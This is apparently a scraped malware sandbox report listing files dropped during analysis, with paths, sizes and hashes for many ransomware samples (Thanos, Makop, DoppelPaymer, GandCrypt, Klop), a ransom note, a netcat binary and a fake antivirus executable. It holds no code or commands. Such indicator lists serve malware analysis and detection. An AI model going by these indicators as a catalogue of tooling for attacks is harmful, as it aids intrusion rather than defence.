                                                                                                                                                                                                                                                                                                63KB

                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                2655d9cea6535bb5f952265acc169ed7

                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                21d50e7e0a1f76e2c4ce955fed35c02a4f944af2

                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                e070ec6d8ebff49e888929d944dd04ff6ab0a5c173940b434515934b82616517

                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                0d166f20ddbc567e68ab946e816637c5b02ab26d854647e82e97d54da20a141f6ca80dc02664e8a2db8ce98c9a47cabbca97a9a5f8010037a13296bbc49a6718

                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                              • C:\Recovery\WindowsRE\How To Restore Your Files.txt
                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                1KB

                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                0ef6ccc12156cee46da5e1de1059fb4d

                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                6a4ba1852c9d8217e7998844752eb2e18191ae10

                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                a10dd530138cf1fa26bcf4975fb557e482a22a486a411ccff68cb0587cdf0c21

                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                54dbb9f0e0532dce873ab558640c0a3518956921e2ea9d90d36e408e55aeb7d6172183f8c9aba44fa0165df14f512555bdffe4371c2ea5cb574cbd41a0770ca6

                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx
                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                64KB

                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                d2fb266b97caff2086bf0fa74eddb6b2

                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                2f0061ce9c51b5b4fbab76b37fc6a540be7f805d

                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                b09f68b61d9ff5a7c7c8b10eee9447d4813ee0e866346e629e788cd4adecb66a

                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                c3ba95a538c1d266beb83334af755c34ce642a4178ab0f2e5f7822fd6821d3b68862a8b58f167a9294e6d913b08c1054a69b5d7aec2efdb3cf9796ed84de21a8

                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4B

                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                f49655f856acb8884cc0ace29216f511

                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                cb0f1f87ec0455ec349aaa950c600475ac7b7b6b

                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba

                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8

                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val
                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                944B

                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                6bd369f7c74a28194c991ed1404da30f

                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                0f8e3f8ab822c9374409fe399b6bfe5d68cbd643

                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                878947d0ec814fe7c343cdebc05eebf00eb14f3023bdb3809a559e17f399fe5d

                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                8fc5f073dc9fa1e1ae47c60a5f06e0a48709fd6a4302dffaa721858409e7bde64bc6856d3fb28891090516d1a7afc542579de287778b5755eafe75cc67d45d93

                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\3582-490\HEUR-Trojan-Ransom.MSIL.njLime.gen-17fdc8576a2bfc5aaca1ca1094c3e3f46a304074d7d1bfe68776a33b460e9e57.exe
                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                614KB

                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                d148245917bce95215b7479440def347

                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                30544132ef1f5a3c9de93e1d2a3fefd375684749

                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                d1ad9735ebf52eba21820f024bac78039afd23528083ade21ed529d0a7a618c0

                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                a34ef90d56e9319237532a91be52a045e1f1994f7f31da8f63ae7872c2e04b7e7f269399b95f71ed1b1a3853901af72718bf3111eb7d22ccb7348a3aecd0a70c

                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dyijwnji.tkq.ps1
                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                60B

                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\hack.exe
                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4.8MB

                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                84875b39fba2e001fbbac52226cafe32

                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                b337f3c04735b96c568f843bc2051bc18dffd249

                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                5125bcb79b2491ca53dc3c6835942425b70136a6583872755de32cc3ff271207

                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                1f6bd6663260e29623dc76fd55c0d6c7f3e6838e47092227d25007b9234c15020cd69f71dde0e6f8c45ce6305d90ab4175c28942aa86f22542ca70edad22b094

                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\key6.exe
                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                4.5MB

                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                2f7dcf07d3945bd8301371393ca33bc7

                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                044bd355e14e78bd5029412dbdd7b1c2a6a8a836

                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                c2e5d93f2faf0b797f6b400f4fb0db64ecd36fe5f553f3e343194eacd93f7465

                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                c12263495f619454e4843c4ca369483e14cf0e2b6e94b9c7db3b1e020b9959b49957769db49f857bc6a6fc7cf48fc3f488966781e75b36810e27bd427e1bc49e

                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\nc.exe
                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                60KB

                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                ab41b1e2db77cebd9e2779110ee3915d

                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                4122cf816aaa01e63cfb76cd151f2851bc055481

                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                7379c5f5989be9b790d071481ee4fdfaeeb0dc7c4566cad8363cb016acc8145e

                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                ec7105b30ccba23c891f3fa38ca77fb37785fdd8ac07750f83d9a09189ed29e7a91481119a6ace073cc1597e014bca67f295818864055408ab57cacfd7c4fc6b

                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\ncarchive.rar.exe
                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                220KB

                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                4287117d9a6a955c6a972dea69487419

                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                6dbda9462b0a722ff21f96a39ee9665dcc0b1176

                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                c7e248b6e854ba56d3695eaae094f6354fdefbd3fb71e897521d5da47a221277

                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                db6ce040862d6d5cb5a64f7077bbcdeb21140b4e05f034e1697fa63529358e9a0b37e72ef14e5deaade626c9df970dad7d1d366b4da4e2acdd8ed57cda2a9aa9

                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Microsoft\AVShieldPro.exe
                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                428KB

                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                b882b9c872e50e04bda8fb7a18c28092

                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                42f6a3152e9a369f34634ece303c89fbe6dbe763

                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                302fecaf77de168224abccd8a610dda5699e0d16ea5fa4577de83fad2f22433a

                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                c26e0c3e44517491d0dde81587c9a371b20b8c958d70c80880dfa38efdaa502163b28ea60d7c935086b546a9cb3c0ae921ff884e4ad2a94b54310a304ed607e8

                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Desktop\00424\HEUR-Trojan-Ransom.MSIL.Blocker.gen-388a6625b398cbfbd4d915b8165b37ebba259fe9ef89a6bbef5ca9677b42ed52.exe
                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                9.5MB

                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                b779cb1a5f7ee844e2c2f46dd3e161af

                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                aa4ab809ee20374cc2e14feeb76b7cfe137e924f

                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                388a6625b398cbfbd4d915b8165b37ebba259fe9ef89a6bbef5ca9677b42ed52

                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                2de5499545afefe46a5c280985ceda2414aa7673fa42949b077d5ed042f4c18daffd1b5305802734ee3d14b2de9c7220e69df52eafe0310912c4bb276575de5b

                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Desktop\00424\HEUR-Trojan-Ransom.MSIL.Gen.gen-886ed9d1806668c086ece3c4d433b9daced419d2fc8645d3c5db28a7b7878cd0.exe
                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                11.7MB

                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                725693f393f2447c736dfb735b9ffbb1

                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                e2f8ee4969016a9f8fc04c6f21b446870306e444

                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                886ed9d1806668c086ece3c4d433b9daced419d2fc8645d3c5db28a7b7878cd0

                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                83f3f626f4c5cbea804f030ee9e38ef04e71cb48977e7326a4e5ec8e18e20886238e491ead8f99035f792347baa65613c2fb9d01e9c7d44e40b886799b3706e7

                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Desktop\00424\HEUR-Trojan-Ransom.MSIL.Makop.gen-0ed05e4be5376f0cf391a78afc7a3114ffbfa064348fb66cd93e8ee6f6b27fe1.exe
                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                467KB

                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                1872d50febed32fe549f3c1257ede6bc

                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                8f5d4c4c47e3d0e1071a974d92f8bba0d9ae4b6a

                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                0ed05e4be5376f0cf391a78afc7a3114ffbfa064348fb66cd93e8ee6f6b27fe1

                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                bdcfc894b05b73af687315aa7f2ed9643462a07cbc9a7aa95d635e00fae620c5247f6863d63af4b084fd5b488a88a4eb63bf3971744b3e6319622596899e5bdb

                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Desktop\00424\HEUR-Trojan-Ransom.MSIL.Petr.gen-164a86e099913008bebcd659331c1033c4afd97af2a15cca3a35765bca504be9.exe
                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                115KB

                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                a80fb7e91ed01c5ddb00729116aed211

                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                fd0dfb8bbef94aceca1eae3ee36512fa3364f90f

                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                164a86e099913008bebcd659331c1033c4afd97af2a15cca3a35765bca504be9

                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                60730bb243cf103bb1025f53b1578e07b0588e98306544cbf6c3092136054878c93ea1b1463954e538c9832630434e7dbc254810e825cedea4b3a18b4e9d552e

                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Desktop\00424\HEUR-Trojan-Ransom.MSIL.Thanos.gen-68cfd9eeb25aebc7a65c5c72b8426edc88865ec13732374ba5dda877107bfe6a.exe
                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                391KB

                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                adad0a5737a2b2bca918b78da7ef8ba2

                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                fef9d4ca2a0562f6dd40d262de38cc2bb71d39d0

                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                68cfd9eeb25aebc7a65c5c72b8426edc88865ec13732374ba5dda877107bfe6a

                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                364dc6140df57cffbba3d1c8005997d9ea7e8bb6e0f244de8f01b5617e789d81c7b8fb3d129e7d2b676eefce5878cb796d5c5b48ee14a631b67045cf8e428811

                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Desktop\00424\HEUR-Trojan-Ransom.MSIL.njLime.gen-17fdc8576a2bfc5aaca1ca1094c3e3f46a304074d7d1bfe68776a33b460e9e57.exe
                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                655KB

                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                0148d418383e008780b98c30c719f6a4

                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                c89e7a859fe0c65a79bdf13e028a179527b76075

                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                17fdc8576a2bfc5aaca1ca1094c3e3f46a304074d7d1bfe68776a33b460e9e57

                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                9502b0c79d9d4428c7b637a48c7cea649d6737c5196730e2c95f19409e68d08e20c3c80ab4b3463489e5ddf50f02c54c75936f10e4ddf5d0414d6bd2c0746f70

                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Desktop\00424\HEUR-Trojan-Ransom.Win32.KlopRansom.gen-ed3dfa9f2452537d378ead320e1506d392d3f91557d8c52714dfd6024176cf73.exe
                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                683KB

                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                77f23ed6c9c83823eb56ba579b4183d4

                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                74969b74766e2ee491f4f5ddd9f78b740e2107c9

                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                ed3dfa9f2452537d378ead320e1506d392d3f91557d8c52714dfd6024176cf73

                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                56155c2312703f782037216317e9ba9f4025aded12da6c6b71974cce7b5f0c1c49b53e365875da8259b93fc9db8dcf5b7a73ed5ab10e52503cabdbc7bf6f39d9

                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Blocker.hgll-d9c7eea5b9b35d2bad184345fba2a717d75dcaab688a691066182530ffaf9c9f.exe
                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                1.1MB

                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                65e7e706a06bb299d22f9236f59f29e2

                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                e08955a0fedadf6916d1adc164704ad42669d50d

                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                d9c7eea5b9b35d2bad184345fba2a717d75dcaab688a691066182530ffaf9c9f

                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                ab288811d7ad23f85e232cec212ae1807734a1979e14f818c98e6330f0934601a6d565d87b5ccca1d7b3c41931d10e34886b4b08fd048d93fc4f61f84ec3e82c

                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Blocker.jklq-af2d6cbb88ec14080026c0c0ee24a28c4c90e8ea5979440ef85f4f007a730e7a.exe
                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                1.8MB

                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                3ab50ae83ded33e1a825a4e4d680ce9a

                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                b51471ce887ba813616d33fdf8366fb0c6b825bb

                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                af2d6cbb88ec14080026c0c0ee24a28c4c90e8ea5979440ef85f4f007a730e7a

                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                550aad01459074868618d46786419fd15cae090bd87a8a52e034da11e47aa0efe31955d114700cab8a8afd5277f48d4890b67b113e3c3f7d542c2400b16fa9ef

                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Blocker.lvzt-9bc75c69ead3c8ae7297911c3603cecc3f3d3c739cd5ebb60b111af1939c6952.exe
                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                2.5MB

                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                1255eb3e81ec17d030da6884e0d3c724

                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                37c6026c74ca0df996a2ccd303f1dee6e73c46f2

                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                9bc75c69ead3c8ae7297911c3603cecc3f3d3c739cd5ebb60b111af1939c6952

                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                3017d6f3515d5ffdf7f8dfcbfe73ab8bbff2d2bce2a94fabbd76a7ff41d3f29ecd3b886c615e88ed8e43d48a54b473c9915c95c7d89388182d0f20ce14a59212

                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Blocker.lyiu-985b67a88f7fc9935704c7c18ecb4a7d077fb02c658a9d3fcfec9439776564d5.exe
                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                5.0MB

                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                61ec104d8a35a34d429a1a4f6e351957

                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                2d1e8636f787d34b2bf19391a862150d4793b7ac

                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                985b67a88f7fc9935704c7c18ecb4a7d077fb02c658a9d3fcfec9439776564d5

                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                8047a14c6243dde239d8afe6c236d9c1c03b28931c0667737110e7825c7187f669e1c838c9f367c1be54a539505e94095c5c14c5974606b9ddafa5bf8b50f81f

                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Crusis.dqg-79b8c026d2e90a16b4a585f38be231828bc9d52255948d4a7d9248bb25e882d1.exe
                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                428KB

                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                5cd725ccdd4a940bc19c9bcd69768798

                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                cb5c0c4ed17bc9dd83c85777ecb2f37ec060c50d

                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                79b8c026d2e90a16b4a585f38be231828bc9d52255948d4a7d9248bb25e882d1

                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                3ac834a0b1e9d9693e5e598c8132d1e33594415be90ee6ba321144c4128bedbfefd0420926729d5e8469ee616ed986b03f8a1c822704ff9537fe17ce7cfa4605

                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Crypmod.accd-7a6ac2d2173048ec95dc9bbc5d07a5465f823cfc6118718c98bcb1b1fcb7df1b.exe
                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                564KB

                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                17a4b2ea4846a8ce82c950e66f714c7b

                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                ce35d8296819fd28925427b55c374ec6b76d427d

                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                7a6ac2d2173048ec95dc9bbc5d07a5465f823cfc6118718c98bcb1b1fcb7df1b

                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                8cb2fd4061eec8e4dea1d4e5b8bf0dd24bfc2f4ae96cf9cbd7a5ebc93094bb460f6e60b040b5548d023f9faf4b4ac757a2a71c9ddd57b88344758a4acaff61d3

                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Crypmodadv.xso-dfa08f135298af057fe9c99cae3377fdea1d01992ab385b6d1362cac37cb37fb.exe
                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                5.7MB

                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                041ea50c950a58311a9c8f21e16a430d

                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                4f7cc5689a8600f488b6df7667248c8aae2c09f4

                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                dfa08f135298af057fe9c99cae3377fdea1d01992ab385b6d1362cac37cb37fb

                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                786240f18db197215eca42a1ecb54b9a12a3ce43f16580b32aaa3be5f2639fc9c97b7f2cedc5bbcb607ade8595577ab2f1823c4640973ff1dfc4003de285f0a8

                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.DoppelPaymer.bf-9d2ef7b5f84ee093e0e010add38917032d45008533472c6744c16c072f266f48.exe
                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                3.0MB

                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                6fdb92acab9f8d0c8d2ce5a4b79f1476

                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                a522d17d4a9a393b3badb4867151737d425f3e6b

                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                9d2ef7b5f84ee093e0e010add38917032d45008533472c6744c16c072f266f48

                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                e350f2c5e2624f766c23c3f420f2135b312ccd0a20c54ab1c99a3faffb471f5e6d53e2fc39162e30689dfbf20d0214d93df4c22ca2db49c6467ea654025bb5ff

                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Foreign.oftl-85a577c129c5ee7b40f871113fe6f7886d12bfa6d82f6b343cb0ec5d077dccf6.exe
                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                790KB

                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                96fcf96f2ba83e7e69bd2a03840ff61a

                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                23d51a51226ee7cdb84047e4faa178243e54684e

                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                85a577c129c5ee7b40f871113fe6f7886d12bfa6d82f6b343cb0ec5d077dccf6

                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                7645af1cc1f0642565b8fb8088e27d1ed0445092c789020ed39e0f54e6f469b40298f792d4aa098a7a3a8e575fe1ff15c7704b67fb496b643abb67eb9cb9ada0

                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.Foreign.ogrt-265f042465660e355ac24f236997230a0c0adc35cb240844a6fd6650d457da3b.exe
                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                579KB

                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                126ef6d06aa9d0b2cdf1969768bf8e77

                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                1114964a6d91bfee7adb3579236d5238ddade9af

                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                265f042465660e355ac24f236997230a0c0adc35cb240844a6fd6650d457da3b

                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                e0c21254f0bc4bd4c1841a20c5d18db70d6c963312b2bf21b84736c2ba55fae78a6b9ad067ff1c9b3840e44c0c904ee5cf0da6065a3a1e433abd57010670f277

                                                                                                                                                                                                                                                                                                Download Submit

                                                                                                                                                                                                                                                                                              • C:\Users\Admin\Desktop\00424\Trojan-Ransom.Win32.GandCrypt.iym-0a4980f402f1ad859dd8499d9ee196cc61947b2f9a2207d3a81bcec7636c158a.exe
                                                                                                                                                                                                                                                                                                Filesize

                                                                                                                                                                                                                                                                                                760KB

                                                                                                                                                                                                                                                                                                MD5

                                                                                                                                                                                                                                                                                                1d0bbda976be6bbda928de60554c6bca

                                                                                                                                                                                                                                                                                                SHA1

                                                                                                                                                                                                                                                                                                b4ebabe04f6378d848e4005ca939b4590365e136

                                                                                                                                                                                                                                                                                                SHA256

                                                                                                                                                                                                                                                                                                0a4980f402f1ad859dd8499d9ee196cc61947b2f9a2207d3a81bcec7636c158a

                                                                                                                                                                                                                                                                                                SHA512

                                                                                                                                                                                                                                                                                                2daac57d0c84c40feafcf8a61c634642027bdb6980a7ba1dd71bc078ab82a3bc488081ea8261489995e47059a844e6cd3c994d5b46a4d9e4107b146e4827c345

                                                                                                                                                                                                                                                                                                Download Submit

